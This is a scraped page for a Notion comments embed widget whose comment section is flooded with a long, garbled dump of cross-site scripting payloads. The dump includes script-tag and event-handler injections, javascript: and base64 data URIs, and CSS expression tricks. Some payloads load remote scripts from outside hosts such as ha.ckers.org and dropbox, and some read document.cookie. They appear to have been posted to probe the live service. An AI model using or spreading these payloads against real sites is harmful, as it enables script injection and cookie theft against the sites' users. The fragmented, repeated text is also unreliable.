💬

Comments for Notion

202K

Enrich your Notion pages with interactive Comments.

Try in your page ! (demo)

paste the url into your Notion page's /embed block.

Create Comments for Notion Embed URL

live demo

You need to sign in to continue.

708 comments

2222

6 days ago

2222

">123

123

">alert(`TEXT YOU WANT TO BE DISPLAYED`);

123 Hover the cursor to the LEFT of this Message

&ParamHeight=250 ">

">123

123

{font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript&colon;confirm(1)" <img src=``&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X</script><img/*/src="worksinchrome&colon;prompt(1)"/*/onerror='eval(src)'> <img/	
 src=`~` onerror=prompt(1)> <form><iframe 	
 src="javascript:alert(1)"
	;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ /**/alert(document.location)/**/ /***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/ X alert(0%0) <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1) "><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT&colon;alert(1) //<form/action=javascript:alert(document&period;cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/ |\>''alert(1) {Opera} <a href="javascript&colon;\u0061l&#101%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT&colon;alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript&colon;alert(document&period;cookie)>Click Here</a> <img src="/" =_=" title="onerror='prompt(1)'"> <%<!--'%><script>alert(1); X http://www.alert(1) alert(1) <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> <img src=`xx:xx`onerror=alert(1)> <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object> <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/> <math><a xlink:href="//jsfiddle.net/t846h/">click <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always> <svg contentScriptType=text/vbs><script>MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061') +-+-1-+-+alert(1) /*<script* */alert(1)//&NewLine;confirm(1); alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <script x> alert(1) style="x:"> --!>

x ">

CLICKME click Click' target='_blank'>http://sternefamily.net/foo.js%22></script>%E2%80%8B">Click Me javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); '`">javascript:alert(1) '`">javascript:alert(1)

\x3Cscript>javascript:alert(1) '"`>/* *\x2Fjavascript:alert(1)// */ javascript:alert(1)javascript:alert(1)javascript:alert(1)javascript:alert(1) --> --> --> --> --> `"'>

a='hello\x27;javascript:alert(1)//';

test test test test test test test test test test test test test test /* *\x2A/javascript:alert(1)// */ /* *\x00/javascript:alert(1)// */ "'`>ABC

DEF "'`>ABC

DEF if("x\\xE1\x96\x89".length==2) { javascript:alert(1);} if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);} if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);} '`">javascript:alert(1) '`">javascript:alert(1) "'`> "'`> javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); javascript:alert(1); ABC

DEF ABC

DEF test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test test `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> `"'> "`'>\x3Bjavascript:alert(1) "`'>\x0Djavascript:alert(1) "`'>\xEF\xBB\xBFjavascript:alert(1) "`'>\xE2\x80\x81javascript:alert(1) "`'>\xE2\x80\x84javascript:alert(1) "`'>\xE3\x80\x80javascript:alert(1) "`'>\x09javascript:alert(1) "`'>\xE2\x80\x89javascript:alert(1) "`'>\xE2\x80\x85javascript:alert(1) "`'>\xE2\x80\x88javascript:alert(1) "`'>\x00javascript:alert(1) "`'>\xE2\x80\xA8javascript:alert(1) "`'>\xE2\x80\x8Ajavascript:alert(1) "`'>\xE1\x9A\x80javascript:alert(1) "`'>\x0Cjavascript:alert(1) "`'>\x2Bjavascript:alert(1) "`'>\xF0\x90\x96\x9Ajavascript:alert(1) "`'>-javascript:alert(1) "`'>\x0Ajavascript:alert(1) "`'>\xE2\x80\xAFjavascript:alert(1) "`'>\x7Ejavascript:alert(1) "`'>\xE2\x80\x87javascript:alert(1) "`'>\xE2\x81\x9Fjavascript:alert(1) "`'>\xE2\x80\xA9javascript:alert(1) "`'>\xC2\x85javascript:alert(1) "`'>\xEF\xBF\xAEjavascript:alert(1) "`'>\xE2\x80\x83javascript:alert(1) "`'>\xE2\x80\x8Bjavascript:alert(1) "`'>\xEF\xBF\xBEjavascript:alert(1) "`'>\xE2\x80\x80javascript:alert(1) "`'>\x21javascript:alert(1) "`'>\xE2\x80\x82javascript:alert(1) "`'>\xE2\x80\x86javascript:alert(1) "`'>\xE1\xA0\x8Ejavascript:alert(1) "`'>\x0Bjavascript:alert(1) "`'>\x20javascript:alert(1) "`'>\xC2\xA0javascript:alert(1) "/> "/> "/> "/> "/> "/> "/> "/> "/> javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) javascript:alert(1) ">

`"'> `"'> `"'> `"'> `"'> `"'> `"'> javascript:alert(1)<\x00/script> <img src=# onerror\x3D"javascript:alert(1)" > <input onfocus=javascript:alert(1) autofocus> <input onblur=javascript:alert(1) autofocus><input autofocus> <video poster=javascript:javascript:alert(1)// <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X <video><source onerror="javascript:javascript:alert(1)"> <video onerror="javascript:javascript:alert(1)"><source> <form><button formaction="javascript:javascript:alert(1)">X <body oninput=javascript:alert(1)><input autofocus> <math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math> <frameset onload=javascript:alert(1)> <table background="javascript:javascript:alert(1)"> <img src=x onerror=javascript:alert(1)//"> <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> <![><img src="]><img src=x onerror=javascript:alert(1)//"> <style><img src="</style><img src=x onerror=javascript:alert(1)//"> <li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div> <head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body> <SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1) alert(1)0

document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML; <div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x <? foo="><script>javascript:alert(1)"> javascript:alert(1)"> foo=">javascript:alert(1)"> foo=">">
d.innerHTML=d.innerHTML XXX http://foo.bar/#x=%60y"> alt="`><img src=x:x onerror=javascript:alert(1)></a>"> X p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red}; @import "data:,*%7bx:expression(javascript:alert(1))%7D"; XXX XXX *[{}@import'%(css)s?]X
XXX
XXX / style=x:expression\28javascript:alert(1)\29> *{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}

X
X
with(document.getElementById("d"))innerHTML=innerHTML
X
X
XXX
#x{font-family:foo[bar;color:green;} #y];color:red;{} XXX ({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval ({0:#0=eval/#0#/#0#(javascript:alert(1))}) ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')() &ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi &alert&A7&(1)&R&UA;&&<&A9&11/script&X&> <meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾ X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` > 1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`> 1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>> <vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe> 1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a> <a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a> <x style="behavior:url(%(sct)s)"> <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label> <event-source src="%(event)s" onload="javascript:alert(1)"> <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A"> <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>"> <script>%(payload)s javascript:alert(1) <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET> <BODY ONLOAD=javascript:alert(1)> <BODY ONLOAD=javascript:javascript:alert(1)> <IMG SRC="jav ascript:javascript:alert(1);"> <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)> <SCRIPT/SRC="%(jscript)s"> <%(payload)s//<
@import'%(css)s'; li {list-style-image: url("javascript:javascript:alert(1)");}
XSS

javascript:alert(1); .XSS{background-image:url("javascript:javascript:alert(1)");} BODY{background:url("javascript:javascript:alert(1)")} XSS""","XML namespace."),("""<IMG SRC="javascript:javascript:alert(1)"> +ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4- X

@import'%(css)s'; a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');} &&javascript:alert(1)&&;&&<&&/script&&> <SCRIPT onreadystatechange=javascript:javascript:alert(1);> javascript:alert(1);
]] test1 test1 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'>alert(String.fromCharCode(88,83,83)) '';!--"=&{()} xxs link xxs link alert("XSS")"> perl -e 'print "";' > out <alert("XSS");//< <SCRIPT SRC=//ha.ckers.org/.j> <IMG SRC="javascript:alert('XSS')" <iframe src=http://ha.ckers.org/scriptlet.html < \";alert('XSS');// </TITLE><SCRIPT>alert("XSS"); li {list-style-image: url("javascript:alert('XSS')");}
XSS
@import'http://ha.ckers.org/xss.css'; BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")} @im\port'\ja\vasc\ript:alert("XSS")'; exp/* alert('XSS'); .XSS{background-image:url("javascript:alert('XSS')");} BODY{background:url("javascript:alert('XSS')")} BODY{background:url("javascript:alert('XSS')")} ¼script¾alert(¢XSS¢)¼/script¾

echo('alert("XSS")'); ?> ' target='_blank'>http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- " SRC="http://ha.ckers.org/xss.js"> '" SRC="http://ha.ckers.org/xss.js"> ` SRC="http://ha.ckers.org/xss.js"> document.write("<SCRI");PT SRC="http://ha.ckers.org/xss.js"> XSS' target='_blank'>http://66.102.7.147/">XSS XSS' target='_blank'>http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS XSS' target='_blank'>http://1113982867/">XSS XSS' target='_blank'>http://0x42.0x0000066.0x7.0x93/">XSS XSS' target='_blank'>http://0102.0146.0007.00000223/">XSS XSS {font-family&colon;'<iframe/onload=confirm(1)>' <input/onmouseover="javaSCRIPT&colon;confirm(1)" <sVg><scRipt >alert(1) {Opera} <img/src=`` onerror=this.onerror=confirm(1) <form><isindex formaction="javascript&colon;confirm(1)" <img src=``&NewLine; onerror=alert(1)&NewLine; <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script> <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=? <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <script /**/>/**/alert(1)/**/</script /**/ "><h1/onmouseover='\u0061lert(1)'> <iframe/src="data:text/html,<svg onload=alert(1)>"> <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/> <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera} <meta http-equiv="refresh" content="0;url=javascript:confirm(1)"> <iframe src=javascript&colon;alert(document&period;location)> <form><a href="javascript:\u0061lert(1)">X </script><img/*/src="worksinchrome&colon;prompt(1)"/*/onerror='eval(src)'> <img/	
 src=`~` onerror=prompt(1)> <form><iframe 	
 src="javascript:alert(1)"
	;> <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="	
>X</a http://www.google<script .com>alert(document.location)</script <a href=[]" onmouseover=prompt(1)//">XYZ</a <img/src=@  onerror = prompt('1') <style/onload=prompt('XSS') <script ^__^>alert(String.fromCharCode(49))</script ^__^ /**/alert(document.location)/**/ /***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/ X alert(0%0) <///style///><span %2F onmousemove='alert(1)'>SPAN <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1) "><svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>' <blink/ onmouseover=prompt(1)>OnMouseOver {Firefox & Opera} <marquee onstart='javascript:alert(1)'>^__^ <div/style="width:expression(confirm(1))">X</div> {IE7} <iframe// src=javaSCRIPT&colon;alert(1) //<form/action=javascript:alert(document&period;cookie)><input/type='submit'>// /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/> //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\ </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/ |\>''alert(1) {Opera} <a href="javascript&colon;\u0061l&#101%72t(1)"><button> <div onmouseover='alert(1)'>DIV</div> <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)"> <a href="jAvAsCrIpT&colon;alert(1)">X</a> <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf"> <var onmouseover="prompt(1)">On Mouse Over</var> <a href=javascript&colon;alert(document&period;cookie)>Click Here</a> <img src="/" =_=" title="onerror='prompt(1)'"> <%<!--'%><script>alert(1); X
click MsgBox+1 <a href="data:text/html;base64_,<svg/onload=\u0061l&#101%72t(1)>">X</a <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE> <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061') +-+-1-+-+alert(1) /*<script* */alert(1)//&NewLine;confirm(1); alert(1) <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script:&#97lert(1)>ClickMe <script x> alert(1) style="x:"> --!>
x "> CLICKME click Click' target='_blank'>http://sternefamily.net/foo.js%22></script>%E2%80%8B">Click Me '';!--"=&{()} '>//\\,">">"*" '); alert('XSS alert(1); alert('XSS'); alert("XSS")"> ipt>alert('XSS');ipt> alert(String.fromCharCode(88,83,83)) @im\port'\ja\vasc\ript:alert(\"XSS\")'; echo('alert(\"XSS\")'); ?> alert('XSS') ">alert(0) alert(/xss/) alert(/xss/) alert('XSS') > window.alert("Bonjour !");
onload=alert('XSS')> "> '>><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS') '">>
XSS
var var = 1; alert(var) BODY{background:url("javascript:alert('XSS')")} ='alert("XSS")'?> " onfocus=alert(document.domain) "> li {list-style-image: url(\"javascript:alert('XSS')\");}
XSS perl -e 'print \"alert(\"XSS\")\";' > out perl -e 'print \"\";' > out
alert(1) alert(1) "> [color=red width=expression(alert(123))][color] Execute(MsgBox(chr(88)&chr(83)&chr(83)))< ">alert(123) '">alert(1111) '">alert(document.cookie) '""> alert('X \nS \nS'); <<<<>>>><<<script>alert(123) (123)(123) '>alert(123) '>"> }a=eval;b=alert;a(b(/XSS/.source)); document.write("XSS"); a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d); ='>alert("xss") "+src="http://yoursite.com/xss.js?69,69"> alert(navigator.userAgent)> ">/XaDoS/>alert(document.cookie) ">/KinG-InFeT.NeT/>alert(document.cookie) src="http://www.site.com/XSS.js"> data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= !--" />alert('xss'); alert("XSS by \nxss")
XSS by xss
">alert("XSS by \nxss")>
XSS by xss
'">alert("XSS by \nxss")>
XSS by xss
alert("XSS by \nxss")
XSS by xss
alert(1337)
XSS by xss
">alert(1337)">alert("XSS by \nxss</h1></marquee>